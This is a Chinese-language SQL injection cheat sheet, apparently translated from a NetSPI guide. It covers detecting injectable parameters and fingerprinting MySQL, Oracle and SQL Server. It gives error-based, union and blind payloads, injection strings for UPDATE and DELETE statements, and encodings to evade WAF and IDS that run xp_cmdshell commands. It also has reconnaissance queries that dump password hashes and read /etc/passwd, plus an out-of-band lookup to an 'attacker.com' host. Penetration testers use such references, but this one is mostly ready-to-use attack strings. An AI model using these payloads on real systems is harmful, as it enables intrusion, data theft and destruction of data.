各种 SQL 注入方法总结
Posted 安全先师
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了各种 SQL 注入方法总结相关的知识,希望对你有一定的参考价值。
本文主要用于全面识别,利用和升级各种数据库管理系统中的SQL注入漏洞。
0x00 注入检测
SQL注入检测
可以通过多种方式检测注入。其中最简单的方法是在各种参数后添加'
或"
从而得到一个从Web服务器返回的数据库报错信息。以下部分描述了在哪里可以找到这些参数以及如何检测这些参数。
参数位置
浏览下面的标签,查看各种HTTP请求中的常见注入点。常见注入点以红色突出显示
GET - HTTP Request
在常见的HTTP GET请求(以及大多数请求类型)中,有一些常见的注入点。例如:网址参数(下面的请求的id
),Cookie,host以及任何自定义headers信息。然而,HTTP请求中的任何内容都可能容易受到SQL注入的攻击。
GET /?id=homePage HTTP/1.1
Host: www.netspi.com
Connection: close
Cache-Control: max-age=0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (Khtml, like Gecko) Chrome/62.0.3202.94 Safari/537.36
Upgrade-Insecure-Requests: 1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
X-Server-Name: PROD
Cookie: user=harold;
POST - Form Data
在具有Content-Type为application/x-www-form-urlencoded的标准HTTP POST请求中,注入将类似于GET请求中的URL参数。它们位于HTTP头信息下方,但仍可以用相同的方式进行利用。
POST / HTTP/1.1
Host: netspi.com.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 39
username=harold&email=harold@netspi.com
POST - JSON
在具有Content-Type为application/json的标准HTTP POST请求中,注入通常是JSON{"key":"value"}
对的值。该值也可以是数组或对象。虽然符号是不同的,但值可以像所有其他参数一样注入。(提示:尝试使用'
,但要确保JSON使用双引号,否则可能会破坏请求格式。)
POST / HTTP/1.1
Host: netspi.com.com
Content-Type: application/json
Content-Length: 56
{
"username":"harold",
"email":"harold@netspi.com"
}
POST - XML
在具有Content-Type为application/xml的标准HTTP POST请求中,注入通常在一个内部。虽然符号是不同的,但值可以像所有其他参数一样注入。(提示:尝试使用'
)
POST / HTTP/1.1
Host: netspi.com.com
Content-Type: application/xml
Content-Length: 79
<root>
<username>harold</username>
<email>harold@netspi.com</email>
</root>
检测注入
通过在应用程序中触发错误和布尔逻辑,可以最轻松地检测易受攻击的参数。提供格式错误的查询将触发错误,并且使用各种布尔逻辑语句发送有效查询将触发来自Web服务器的不同响应。
注:True或False语句应通过HTTP状态码或HTML内容返回不同的响应。如果这些响应与查询的True/False性质一致,则表示存在注入。
描述 | 语句 |
---|---|
逻辑测试 | page.asp?id=1 or 1=1 -- true page.asp?id=1' or 1=1 -- true page.asp?id=1" or 1=1 -- true page.asp?id=1 and 1=2 -- false |
算术 | product.asp?id=1/1 -- true product.asp?id=1/0 -- false |
基于盲注: 检测盲注可能需要识别或猜测DBMS, 并检查以找到适当的时间函数。 |
下文讲解 |
基于错误: 注意:使用无效语法的逻辑测试和算术 也可能会导致错误。 |
下文讲解 |
0x01 DBMS识别
检测正在使用的数据库管理系统(DBMS)对于进一步利用注入来说至关重要。没有这些知识,就无法确定要查询的表,内置的函数以及要避免的检测。下面查询的成功响应表明正在使用所选的DBMS.
注意:注释字符 --
放置在查询后面,以删除查询后面的任何命令,有助于防止出现错误。
mysql
描述 | 语句 |
---|---|
SLEEP | page.php?id=1'-SLEEP(1)=0 LIMIT 1 -- |
BENCHMARK | page.php?id=1'-BENCHMARK(5000000, ENCODE('Slow Down','by 5 seconds'))=0 LIMIT 1 -- |
字符串连接 | page.php?id=' 'mysql' -- |
错误消息 注意:通过无效语法触发数据库错误 有时会返回包含DBMS名称的详细错误消息。 |
page.php?id=' |
一般提示
PHP应用程序通常具有MySQL数据库。
将查询转换为注入
既然已经确定了注入点,本指南的其余部分将包含完整的查询。使用以下方法将这些查询插入注入点。SELECT @@version
将是示例查询。
描述 | 语句 |
---|---|
联合查询 | product.php?id=' UNION SELECT @@version -- |
联合子查询 | product.php?id=' UNION (SELECT @@version) -- |
联合null 注意:如果原始查询返回多个列, 则添加null以等于列数 |
product.php?id=4 UNION SELECT @@version,null -- |
堆积式查询 注意:堆积式查询并不总是返回结果, 因此它们最适合用于更新/修改数据的注入。 |
product.php?id='; INSERT INTO 'docs' ('content') VALUES ((SELECT @@version)) -- |
Oracle
描述 | 语句 |
---|---|
字符串连接 | page.jsp?id='||'oracle' -- |
默认表 | page.jsp?id='UNION SELECT 1 FROM v$version -- |
错误消息 注意:通过无效语法触发数据库错误 有时会返回包含DBMS名称的详细错误消息。 |
page.jsp?id=' |
一般提示
根据应用程序提供的错误,如果存在“ORA-XXXX”错误,其中每个X都是整数,则表示数据库是Oracle.
JSP应用程序通常具有Oracle数据库。
将查询转换为注入
既然已经确定了诸如点,本指南的其余部分将包含完整的查询。使用以下方法将这些查询插入注入点。SELECT banner FROM v$version
将是示例查询。
描述 | 语句 |
---|---|
联合查询 | product.jsp?id=' UNION SELECT banner FROM v$version -- |
联合子查询 | product.jsp?id=' UNION (SELECT banner FROM v$version) -- |
联合null 注意:如果原始查询返回多个列, 则添加null以等于列数-1 |
product.jsp?id=' UNION SELECT banner,null FROM v$version -- |
SQL Server
描述 | 语句 |
---|---|
WAITFOR 函数 | page.asp?id=';WAITFOR DELAY '00:00:10'; -- |
默认变量 | page.asp?id=sql'; SELECT @@SERVERNAME -- |
错误消息 注意:通过无效语法触发数据库错误 有时会返回包含DBMS名称的详细错误消息。 |
page.asp?id=' |
错误消息 注意:如果id参数是整数, 则@@ SERVERNAME变量的字符串值可能导致转换错误。 |
page.asp?id=@@SERVERNAME |
错误消息 注意:如果id参数是整数, 则@@ SERVERNAME变量的字符串值可能导致转换错误。 |
page.asp?id=0/@@SERVERNAME |
一般提示
基于ASP / ASPX的应用程序一般都是MSSQL。
将查询转换为注入
既然已经确定了注入点,本指南的其余部分将包含完整的查询。使用以下方法将这些查询插入注入点。SELECT @@version
将是示例查询。
描述 | 语句 |
---|---|
联合查询 | product.asp?id=' UNION SELECT @@version -- |
联合子查询 | product.asp?id=' UNION (SELECT @@version) -- |
联合null 注意:如果原始查询返回多个列, 则添加null以等于列数 |
product.asp?id=' UNION (SELECT @@version,null) -- |
堆积式查询 注意:堆积式查询并不总是返回结果, 因此它们最适合用于更新/修改数据的注入。 |
product.asp?id='; SELECT @@version -- |
0x02 注入类型
1、基于错误
当无效输入传递给数据库时,通过触发数据库中的错误来利用基于错误的注入。错误消息可用于返回完整的查询结果,或获取有关如何重构查询以供进一步利用的信息。
MYSQL
描述 | 语句 |
---|---|
XML解析错误 | SELECT extractvalue(rand(),concat(0x3a,(select version()))) |
双查询 | SELECT 1 AND(SELECT 1 FROM(SELECT COUNT(*),concat(0x3a,(SELECT username FROM USERS LIMIT 0,1),FLOOR(rand(0)*2))x FROM information_schema.TABLES GROUP BY x)a) 递增 limit 0,1到limit 1,1开始循环数据 |
获取当前数据库 | SELECT a() |
Oracle
描述 | 语句 |
---|---|
无效的HTTP请求 | SELECT utl_inaddr.get_host_name((select banner from v$version where rownum=1)) FROM dual |
CTXSYS.DRITHSX.SN | SELECT CTXSYS.DRITHSX.SN(user,(select banner from v$version where rownum=1)) FROM dual |
无效的XPath | SELECT ordsys.ord_dicom.getmappingxpath((select banner from v$version where rownum=1),user,user) FROM dual |
无效的XML | SELECT to_char(dbms_xmlgen.getxml('select "'||(select user from sys.dual)||'" FROM sys.dual')) FROM dual |
无效的XML | SELECT rtrim(extract(xmlagg(xmlelement("s", username || ',')),'/s').getstringval(),',') FROM all_users |
SQL Server
描述 | 语句 |
---|---|
显式转换 | SELECT convert(int,(SELECT @@version)) SELECT cast((SELECT @@version) as int) |
隐式转换 | SELECT 1/@@version |
MSSQL CAST函数示例
以下任何查询都可以使用该convert
函数重写或作为隐式转换.
描述 | 语句 |
---|---|
将CAST函数注入当前查询 | SELECT CAST(@@version as int) |
显示系统用户 | SELECT CAST(SYSTEM_USER as int); |
用xml路径在一行中显示所有数据库 | SELECT CAST((SELECT name,',' FROM master..sysdatabases FOR XML path('')) as int) SELECT CAST((SELECT name AS "data()" FROM master..sysdatabases FOR xml path('')) AS int); |
显示服务器名称 | SELECT CAST(@@SERVERNAME as int); |
显示服务名称 | SELECT CAST(@@SERVICENAME as int); |
显示数据库列表 注意:下面的查询必须在一行中执行。 |
DECLARE @listStr VARCHAR(MAX);DECLARE @myoutput VARCHAR(MAX);SET @listStr = '';SELECT @listStr = @listStr + Name + ',' FROM master..sysdatabases;SELECT @myoutput = SUBSTRING(@listStr , 1, LEN(@listStr)-1);SELECT CAST(@myoutput as int); |
显示表列表 注意:下面的查询必须在一行中执行 |
DECLARE @listStr VARCHAR(MAX);DECLARE @myoutput VARCHAR(MAX); SET @listStr = '';SELECT @listStr = @listStr + Name + ',' FROM MYDATABASE..sysobjects WHERE type = 'U';SELECT @myoutput = SUBSTRING(@listStr , 1, LEN(@listStr)-1);SELECT CAST(@myoutput as int); |
显示列列表 注意:下面的查询必须在一行中执行。 |
DECLARE @listStr VARCHAR(MAX);DECLARE @myoutput VARCHAR(MAX);SET @listStr = '';SELECT @listStr = @listStr + Name + ',' FROM MYDATABASE..syscolumns WHERE id=object_id('MYTABLE');SELECT @myoutput = SUBSTRING(@listStr , 1, LEN(@listStr)-1);select cast(@myoutput as int); |
显示列数据 注意:下面的查询必须在一行中执行。用 * 替换MYCOLUMN 来选择所有列 |
DECLARE @listStr VARCHAR(MAX);DECLARE @myoutput VARCHAR(MAX);SET @listStr = '';SELECT @listStr = @listStr + MYCOLUMN + ',' FROM MYDATABASE..MYTABLE;SELECT @myoutput = SUBSTRING(@listStr , 1, LEN(@listStr)-1)SELECT CAST(@myoutput as int); |
一次显示一个数据库名称 注意:递增内部TOP值以获取下一条记录 |
SELECT TOP 1 CAST(name as int) FROM sysdatabases WHERE name in (SELECT TOP 2 name FROM sysdatabases ORDER BY name ASC) ORDER BY name DESC |
2、联合查询注入
基于联合的SQL注入允许攻击者通过扩展原始查询返回的结果来从数据库中提取信息。仅当原始/新查询具有相同结构(列的数量和数据类型)时,才能使用联合运算符。
MySQL
描述 | 语句 |
---|---|
联合 | SELECT "mysql" UNION SELECT @@version |
联合子查询 | SELECT "mysql" UNION (select @@version) |
联合null 注意:如果原始查询返回多个列,则添加null以等于列数 |
SELECT "mysql","test" UNION SELECT @@version,null |
堆叠查询 注意:堆叠查询并不总是返回结果,因此它们最适合用于更新/修改数据的注入。 |
SELECT "mysql"; INSERT INTO 'docs' ('content') VALUES ((SELECT @@version)) |
Oracle
描述 | 语句 |
---|---|
联合 | SELECT user FROM dual UNION SELECT * FROM v$version |
联合子查询 | SELECT user FROM dual UNION (SELECT * FROM v$version) |
联合null 注意:如果原始查询返回多个列,则添加null以等于列数 |
SELECT user,dummy FROM dual UNION (SELECT banner,null FROM v$version) |
SQL Server
描述 | 语句 |
---|---|
联合 | SELECT user UNION SELECT @@version |
联合子查询 | SELECT user UNION (SELECT @@version) |
联合null 注意:如果原始查询返回多个列,则添加null以等于列数 |
SELECT user,system_user UNION (SELECT @@version,null) |
联合null二进制减半 注意:此查询用于检测列数。[numberOfColumns]大于列数则返回错误,从而找到表中列的数目。 |
SELECT * FROM yourtable ORDER BY [numberOfColumns] |
堆积式查询 注意:堆积式查询并不总是返回结果,因此它们最适合用于更新/修改数据的注入。 |
SELECT @@version; SELECT @@version -- |
3、盲注
盲注是更高级的注入方法之一。部分盲和全盲方法详述如下。执行这些查询时要小心,因为如果通过大量自动化执行,它们可能会使服务器过载。
MySQL
部分盲
部分盲注是指返回HTTP状态代码或HTML响应中的其他标记的查询,他们指示真或假陈述。下面的查询将试图通过在猜测的信息上声明真实或错误的响应来利用注入。真或假查询也可以通过返回1(真)或0(假)行来识别。一个错误也可以用来标识0(False)。
描述 | 语句 |
---|---|
版本是5.xx | SELECT substring(version(),1,1)=5 |
子选择启用 | SELECT 1 AND (select 1)=1 |
表log_table存在 | SELECT 1 AND (select 1 from log_table limit 0,1)=1 |
列message存在于表log_table中 注意:如果列不存在,则查询应该出错 |
SELECT message FROM log_table LIMIT 0,1 |
第一条message的第一个字母是t | SELECT ascii(substring((SELECT message from log_table limit 0,1),1,1))=114 |
将部分盲查询转换为全盲查询
通过使用以下转换,可以在全盲方案中使用上述任何查询:
SELECT IF(*PARTIAL_BLIND_QUERY*, SLEEP(5), null)
全盲
部分盲注可以通过HTTP响应中的不同HTTP状态代码,响应时间,内容长度和HTML内容来确定。这些标记可以指示真或假的陈述。下面的查询将试图通过在猜测的信息上声明真或假的响应来利用注入。真或假查询也可以通过返回1(真)或0(假)行来识别。一个错误也可以用来标识0(False)。
描述 | 语句 |
---|---|
用户是root | SELECT IF(user() LIKE 'root@%', SLEEP(5), null) |
用户是root(Benchmark 方法) | SELECT IF(user() LIKE 'root@%', BENCHMARK(5000000, ENCODE('Slow Down','by 5 seconds')), null) |
版本是5.xx | SELECT IF(SUBSTRING(version(),1,1)=5,SLEEP(5),null) |
Oracle
部分盲
部分盲注是指返回HTTP状态代码或HTML响应中的其他标记的查询,他们指示真或假陈述。下面的查询将试图通过在猜测的信息上声明真实或错误的响应来利用注入。真或假查询也可以通过返回1(真)或0(假)行来识别。一个错误也可以用来标识0(False)。
描述 | 语句 |
---|---|
版本是12.2 | SELECT COUNT(*) FROM v$version WHERE banner LIKE 'Oracle%12.2%'; |
子选择启用 | SELECT 1 FROM dual WHERE 1=(SELECT 1 FROM dual) |
表log_table存在 | SELECT 1 FROM dual WHERE 1=(SELECT 1 from log_table); |
列message存在于表log_table中 | Select COUNT(*) from user_tab_cols where column_name = 'MESSAGE' and table_name = 'LOG_TABLE'; |
第一条message的第一个字母是t | Select message from log_table where rownum=1 and message LIKE 't%'; |
将部分盲查询转换为全盲查询
通过使用以下转换,可以在全盲方案中使用上述任何查询:
SELECT CASE WHEN (*PARTIAL_BLIND_QUERY*)=1 THEN (SELECT count(*) FROM all_users a, all_users b, all_users c, all_users d) ELSE 0 END FROM dual
部分盲查询必须返回一行,因此总是尝试在所选列上使用COUNT。添加"all_users [letter]",直到数据库响应变慢。如果数据库缓存响应,您可能需要循环[letter]。
全盲
全盲查询不会在HTTP / HTML响应中指示任何查询结果。这使他们依赖于定时功能和其他out-of-band 攻击方法。一个真的SQL语句需要X秒的回应,一个假的SQL语句应该立即返回。
描述 | 语句 |
---|---|
版本是12.2 | SELECT CASE WHEN (SELECT COUNT(*) FROM v$version WHERE banner LIKE 'Oracle%11.2%')=1 THEN (SELECT count(*) FROM all_users a, all_users b, all_users c, all_users d) ELSE 0 END FROM dual |
SQL Server
部分盲
部分盲注是指返回HTTP状态代码或HTML响应中的其他标记的查询,他们指示真或假陈述。下面的查询将试图通过在猜测的信息上声明真实或错误的响应来利用注入。真或假查询也可以通过返回1(真)或0(假)行来识别。一个错误也可以用来标识0(False)。
描述 | 语句 |
---|---|
版本是12.0.2000.8 | SELECT @@version WHERE @@version LIKE '%12.0.2000.8%' |
子选择启用 | SELECT (SELECT @@version) |
表log_table存在 | SELECT * FROM log_table |
列message存在于表log_table中 | SELECT message from log_table |
第一条message的第一个字母是t | WITH data AS (SELECT (ROW_NUMBER() OVER (ORDER BY message)) as row,* FROM log_table) SELECT message FROM data WHERE row = 1 and message like 't%' |
将部分盲查询转换为全盲查询
通过使用以下转换,可以在全盲方案中使用上述任何查询:
IF exists(*PARTIAL_BLIND_QUERY*) WAITFOR DELAY '00:00:02'
全盲
全盲查询不会在HTTP / HTML响应中指示任何查询结果。这使他们依赖于定时功能和其他out-of-band 攻击方法。一个真的SQL语句需要X秒的回应,一个假的SQL语句应该立即返回。
描述 | 语句 |
---|---|
Version is 12.0.2000.8 | IF exists(SELECT @@version where @@version like '%12.0.2000.8%') WAITFOR DELAY '00:00:02' |
0x03 注入技术
以下是一些技巧,可以帮助您利用各种SQL注入。
1、条件语句
条件语句有助于创建复杂的查询并帮助盲注入。
MySQL
描述 | 语句 |
---|---|
If/Else | SELECT IF(1=2,'true','false') |
逻辑 OR | SELECT 1 || 0 看到这个运算符的细微差别去这里 |
Oracle
描述 | 语句 |
---|---|
Case | SELECT CASE WHEN 1=1 THEN 1 ELSE 2 END FROM dual |
SQL Server
描述 | 语句 |
---|---|
Case | SELECT CASE WHEN 1=1 THEN 1 ELSE 0 END |
If/Else | IF 1=2 SELECT 'true' ELSE SELECT 'false'; |
2、注入定位
当注入发生的地方并不明显时,SQL注入总是很麻烦。有一些方法可以在查询的各个部分利用注入是有帮助的。
$injection
确定注入点。修改数据的注入尝试始终使用连接,并允许查询的其余部分有效。通过这个文章可以了解更多信息。
MySQL
注入位置 | 语句 | 注入字符串 |
---|---|---|
SELECT -> WHERE | SELECT * FROM USERS WHERE USER='$injection'; | ' or 1=1 -- |
UPDATE -> SET | UPDATE USERS SET email='$injection' WHERE user='NetSPI'; | ' 'harold@netspi.com' ' |
UPDATE -> WHERE 注意:尝试将注入字符串设置为有效的WHERE值。如果对象已更新,则注入成功。 |
UPDATE USERS SET email='harold@netspi.com' WHERE user='$injection'; | ' 'netspi' ' |
DELETE -> WHERE 注意:运行删除语句时要非常小心,因为整个表都会被删除。 |
DELETE FROM USERS WHERE USERS='$injection'; | ' 'harold@netspi.com' ' |
Oracle
注入位置 | 语句 | 注入字符串 |
---|---|---|
SELECT -> WHERE | SELECT user FROM dual WHERE user LIKE '$injection'; | '||'USER%'||' |
INSERT -> VALUES | INSERT INTO log_table (message) VALUES ('$injection'); | '||(select user from dual)||' |
UPDATE -> SET | UPDATE log_table SET message = '$injection' WHERE message = 'test'; | '||(select user from dual)|| |
UPDATE -> WHERE 注意:尝试将注入字符串设置为有效的WHERE值。如果对象已更新,则注入成功。 |
UPDATE log_table SET message = 'test' WHERE message = '$injection'; | '||'Injected'||' |
SQL Server
注入位置 | 语句 | 注入字符串 |
---|---|---|
SELECT -> WHERE | SELECT * FROM USERS WHERE "USER"='$injection'; | ' or 1=1 -- |
UPDATE -> SET | UPDATE USERS SET "email"='$injection' WHERE "USER"='NetSPI'; | '+'harold@netspi.com'+' |
UPDATE -> WHERE 注意:尝试将注入字符串设置为有效的WHERE值。如果对象已更新,则注入成功。 |
UPDATE USERS SET "email"='harold@netspi.com' WHERE "USER"='$injection'; | '+'NetSPI'+' |
DELETE -> WHERE | DELETE USERS WHERE "User"='$injection'; | '+'NetSPI'+' |
INSERT -> VALUES | INSERT INTO USERS ([User], [Password]) VALUES ('$injection', 'password'); | '+(select @@version)+' |
3、混淆查询
混淆查询帮助绕过Web应用程序防火墙(WAF)和入侵检测/预防系统(IDS / IPS)。以下是基本查询混淆的示例,它们在应用于某些注入之前可能需要进行修改。
MySQL
描述 | 语句 |
---|---|
ASCII>字符 | SELECT char(65) |
字符> ASCII | SELECT ascii('A') |
十六进制 | SELECT 0x4A414B45 |
Hex> Int | SELECT 0x20 + 0x40 |
按位与 | SELECT 6 & 2 |
按位或 | SELECT 6 |
按位否定 | SELECT ~6 |
按位XOR | SELECT 6 ^ 2 |
右移 | SELECT 6>>2 |
左移 | SELECT 6<<2 |
字符串截取 | SELECT substr('abcd', 3, 2) substr(string, index, length) |
Casting | SELECT cast('1' AS unsigned integer) SELECT cast('123' AS char) |
字符串连接 | SELECT concat('net','spi') SELECT 'n' 'et' 'spi' |
无引号 | SELECT CONCAT(CHAR(74),CHAR(65),CHAR(75),CHAR(69)) |
块注释 | SELECT/*block comment*/"test" |
单行注释 | SELECT 1 -- comments out rest of line SELECT 1 # comments out rest of line |
无空格 | SELECT(username)FROM(USERS)WHERE(username='netspi') |
允许空白 | 09, 0A, 0B, 0C, 0D, A0, 20 |
URL 编码 | SELECT%20%2A%20FROM%20USERS |
双URL编码 | SELECT%2520%2A%2520FROM%2520USERS |
无效百分号编码 | %SEL%ECT * F%R%OM U%S%ERS |
Oracle
描述 | 语句 |
---|---|
ASCII>字符 | SELECT char(65) from dual |
字符> ASCII | SELECT ascii('A') from dual |
按位AND | SELECT 6 & 2 from dual |
按位或 | SELECT 6 from dual |
按位否定 | SELECT ~6 from dual |
按位XOR | SELECT 6 ^ 2 from dual |
选择第N个字符 | SELECT substr('abcd', 3, 1) FROM dual; -- Returns 3rd charcter, 'c' |
字符串截取 | SELECT substr('abcd', 3, 2) from dual substr(string, index, length) |
Cast | select CAST(12 AS CHAR(32)) from dual |
字符串连接 | SELECT concat('net','spi') from dual |
注释 | SELECT 1 FROM dual -- comment |
If 语句 | BEGIN IF 1=1 THEN dbms_lock.sleep(3); ELSE dbms_lock.sleep(0); END IF; |
Case 语句 | SELECT CASE WHEN 1=1 THEN 1 ELSE 2 END FROM dual; -- Returns 1 SELECT CASE WHEN 1=2 THEN 1 ELSE 2 END FROM dual; -- Returns 2 |
时间延迟 | BEGIN DBMS_LOCK.SLEEP(5); END; (Requires Privileges) SELECT UTL_INADDR.get_host_name('10.0.0.1') FROM dual; SELECT UTL_INADDR.get_host_address('blah.attacker.com') FROM dual; SELECT UTL_HTTP.REQUEST('http://google.com') FROM dual; |
选择第n行 | SELECT username FROM (SELECT ROWNUM r, username FROM all_users ORDER BY username) WHERE r=9; -- Returns 9th row |
按位与 | SELECT bitand(6,2) FROM dual; -- Returns 2 SELECT bitand(6,1) FROM dual; -- Returns 0 |
字符串连接 | SELECT 'A' || 'B' FROM dual; -- Returns AB |
避免引号 | SELECT chr(65) || chr(66) FROM dual; -- Returns AB |
16进制编码 | SELECT 0x75736572 FROM dual; |
SQL Server
描述 | 语句 |
---|---|
ASCII>字符 | SELECT char(65) |
字符> ASCII | SELECT ascii('A') |
Hex> Int | SELECT 0x20 + 0x40 |
按位AND | SELECT 6 & 2 |
按位或 | SELECT 6 |
按位否定 | SELECT ~6 |
按位XOR | SELECT 6 ^ 2 |
字符串截取 | SELECT substring('abcd', 3, 2) substring(string, index, length) |
Casting | SELECT cast('1' AS unsigned integer) SELECT cast('123' AS char) |
字符串连接 | SELECT concat('net','spi') |
注释 | SELECT 1 --comment SELECT/*comment*/1 |
避免引号 | SELECT char(65)+char(66) -- returns AB |
使用%0d避免使用分号 | %0dwaitfor+delay+'0:0:10'-- |
Bypass Filtering | EXEC xP_cMdsheLL 'dir'; |
用注释避免空格 | EXEC/**/xp_cmdshell/**/'dir';-- ';ex/**/ec xp_cmds/**/hell 'dir'; |
用连接避免查询检测 | DECLARE @cmd as varchar(3000); SET @cmd = 'x'+'p'+'_'+'c'+'m'+'d'+'s'+'h'+'e'+'l'+'l'+'/**/'+""+'d'+'i'+'r'+""; exec(@cmd); |
用字符编码避免查询检测 | DECLARE @cmd as varchar(3000); SET @cmd =(CHAR(101)+CHAR(120)+CHAR(101)+CHAR(99)+CHAR(32)+ CHAR(109)+CHAR(97)+CHAR(115)+CHAR(116) +CHAR(101)+CHAR(114)+CHAR(46)+CHAR(46)+CHAR(120)+ CHAR(112)+CHAR(95)+CHAR(99)+CHAR(109)+ CHAR(100)+CHAR(115)+CHAR(104)+CHAR(101)+CHAR(108)+CHAR(108)+CHAR(32)+ CHAR(39)+CHAR(100)+CHAR(105)+CHAR(114)+CHAR(39)+CHAR(59)); EXEC(@cmd); |
用base64编码避免查询检测 | DECLARE @data varchar(max), @XmlData xml;SET @data = 'ZXhlYyBtYXN0ZXIuLnhwX2NtZHNoZWxsICdkaXIn'; SET @XmlData = CAST('' + @data + '' as xml);SET @data = CONVERT(varchar(max), @XmlData.value('(data)[1]', 'varbinary(max)')); exec (@data); |
用Nchar编码避免查询检测 | DECLARE @cmd as nvarchar(3000); SET @cmd =(nchar(101)+nchar(120)+nchar(101)+nchar(99)+ nchar(32)+nchar(109)+nchar(97)+nchar(115)+nchar(116)+ nchar(101)+nchar(114)+nchar(46)+nchar(46)+ nchar(120)+nchar(112)+nchar(95)+nchar(99)+nchar(109) +nchar(100)+nchar(115)+nchar(104)+ nchar(101)+nchar(108)+nchar(108)+nchar(32)+nchar(39)+nchar(100) +nchar(105)+nchar(114)+nchar(39)+nchar(59)); EXEC(@cmd); |
用ASCII + CAST 编码避免查询检测 | DECLARE @cmd as varchar(MAX); SET @cmd = cast(0x78705F636D647368656C6C202764697227 as varchar(MAX)); exec(@cmd); |
用ASCII + CONVERT 编码避免查询检测 | DECLARE @cmd as varchar(MAX); SET @cmd = convert(varchar(MAX),0x78705F636D647368656C6C202764697227); exec(@cmd); |
用varbinary(MAX) 避免查询检测 | DECLARE @cmd as varchar(MAX); SET @cmd = convert(varchar(0),0x78705F636D647368656C6C202764697227); exec(@cmd); |
用 sp_sqlexec 避免 EXEC() | DECLARE @cmd as varchar(3000); SET @cmd = convert(varchar(0),0×78705F636D647368656C6C202764697227); exec sp_sqlexec @cmd; |
执行 xp_cmdshell 'dir' | DECLARE @tmp as varchar(MAX); SET @tmp = char(88)+char(80)+char(95)+char(67)+char(77)+ char(68)+char(83)+char(72)+char(69)+char(76)+char(76); exec @tmp 'dir'; |
0x04 攻击查询
1、信息收集
收集有关任何测试环境的信息通常很有价值; 版本号,用户帐户和数据库都有助于升级漏洞。以下是常见的方法。
*
需要特权用户
MySQL
描述 | 语句 |
---|---|
版本 | SELECT @@version |
单个用户 | SELECT user() SELECT system_user() |
所有用户 | SELECT user FROM mysql.user * SELECT Super_priv FROM mysql.user WHERE user= 'root' LIMIT 1,1 |
表 | SELECT table_schema, table_name FROM information_schema.tables |
列 | SELECT table_name, column_name FROM information_schema.columns |
数据库 | SELECT schema_name FROM information_schema.schemata |
当前数据库名称 | SELECT database() |
查询其他数据库 | USE [database_name]; SELECT database(); SELECT [column] FROM [database_name].[table_name] |
列数 | SELECT count(*) FROM information_schema.columns WHERE table_name = '[table_name]' |
DBA账户 | SELECT host, user FROM mysql.user WHERE Super_priv = 'Y' |
密码哈希 | SELECT host, user, password FROM mysql.user |
Schema | SELECT schema() |
数据路径 | SELECT @@datadir |
读取文件 | * SELECT LOAD_FILE('/etc/passwd') |
Oracle
描述 | 语句 |
---|---|
版本 | SELECT banner FROM v$version WHERE banner LIKE 'Oracle%'; SELECT banner FROM v$version WHERE banner LIKE 'TNS%'; SELECT version FROM v$instance; |
单个用户 | SELECT user FROM dual |
所有用户 | SELECT username FROM all_users ORDER BY username;* SELECT name FROM sys.user$; |
表 | SELECT table_name FROM all_tables; SELECT owner, table_name FROM all_tables; |
通过列名称获取表 | SELECT owner, table_name FROM all_tab_columns WHERE column_name LIKE '%PASS%'; |
列 | SELECT column_name FROM all_tab_columns WHERE table_name = 'blah'; SELECT column_name FROM all_tab_columns WHERE table_name = 'blah' and owner = 'foo'; |
当前数据库名称 | SELECT global_name FROM global_name; SELECT name FROM V$DATABASE; SELECT instance_name FROM V$INSTANCE; SELECT SYS.DATABASE_NAME FROM DUAL; |
数据库 | SELECT DISTINCT owner FROM all_tables; |
DBA 账户 | SELECT DISTINCT grantee FROM dba_sys_privs WHERE ADMIN_OPTION = 'YES'; |
特权 | SELECT * FROM session_privs;(Retrieves Current Privs)* SELECT * FROM dba_sys_privs WHERE grantee = 'DBSNMP';* SELECT grantee FROM dba_sys_privs WHERE privilege = 'SELECT ANY DICTIONARY';SELECT GRANTEE, GRANTED_ROLE FROM DBA_ROLE_PRIVS; |
DB文件的位置 | SELECT name FROM V$DATAFILE; |
主机名,IP地址 | SELECT UTL_INADDR.get_host_name FROM dual; SELECT host_name FROM v$instance; SELECT UTL_INADDR.get_host_address FROM dual; (IP地址) SELECT UTL_INADDR.get_host_name('10.0.0.1') FROM dual; (主机名) |
SQL Server
描述 | 语句 |
---|---|
版本 | SELECT @@version; |
单个用户 | SELECT user; SELECT system_user; SELECT user_name(); SELECT loginame from master..sysprocesses where spid = @@SPID |
所有用户 | SELECT name from master..syslogins |
表 | SELECT table_catalog, table_name FROM information_schema.columns |
列 | SELECT table_catalog, column_name FROM information_schema.columns |
所有数据库 | SELECT name from master..sysdatabases; |
当前数据库 | SELECT db_name(); |
服务器名称 | SELECT @@SERVERNAME |
查找存储过程 | SELECT * from master..sysobjects where name like 'sp%' order by name desc |
通过用户名获取SUID | SELECT SUSER_ID('sa') |
通过SUID获取用户名 | SELECT SUSER_NAME(1) |
检查账户是不是管理员 | IS_SRVROLEMEMBER(convert(varchar,0x73797361646D696E)) SELECT is_srvrolemember('sysadmin'); |
Policies | SELECT p.policy_id, p.name as [PolicyName], p.condition_id, c.name as [ConditionName], c.facet, c.expression as [ConditionExpression], p.root_condition_id, p.is_enabled, p.date_created, p.date_modified, p.description, p.created_by, p.is_system, t.target_set_id, t.TYPE, t.type_skeleton FROM msdb.dbo.syspolicy_policies p INNER JOIN syspolicy_conditions c ON p.condition_id = c.condition_id INNER JOIN msdb.dbo.syspolicy_target_sets t ON t.object_set_id = p.object_set_id |
域用户 | https://raw.githubusercontent.com/NetSPI/PowerUpSQL/master/templates/tsql/Get-SQLDomainUser-Example.sql |
DB 审计 | SELECT a.audit_id, a.name as audit_name, s.name as database_specification_name, d.audit_action_name, d.major_id, OBJECT_NAME(d.major_id) as object, s.is_state_enabled, d.is_group, s.create_date, s.modify_date, d.audited_result FROM sys.server_audits AS a JOIN sys.database_audit_specifications AS s ON a.audit_guid = s.audit_guid JOIN sys.database_audit_specification_details AS d ON s.database_specification_id = d.database_specification_id |
Server 审计 | SELECT audit_id, a.name as audit_name, s.name as server_specification_name, d.audit_action_name, s.is_state_enabled, d.is_group, d.audit_action_id, s.create_date, s.modify_date FROM sys.server_audits AS a JOIN sys.server_audit_specifications AS s ON a.audit_guid = s.audit_guid JOIN sys.server_audit_specification_details AS d ON s.server_specification_id = d.server_specification_id |
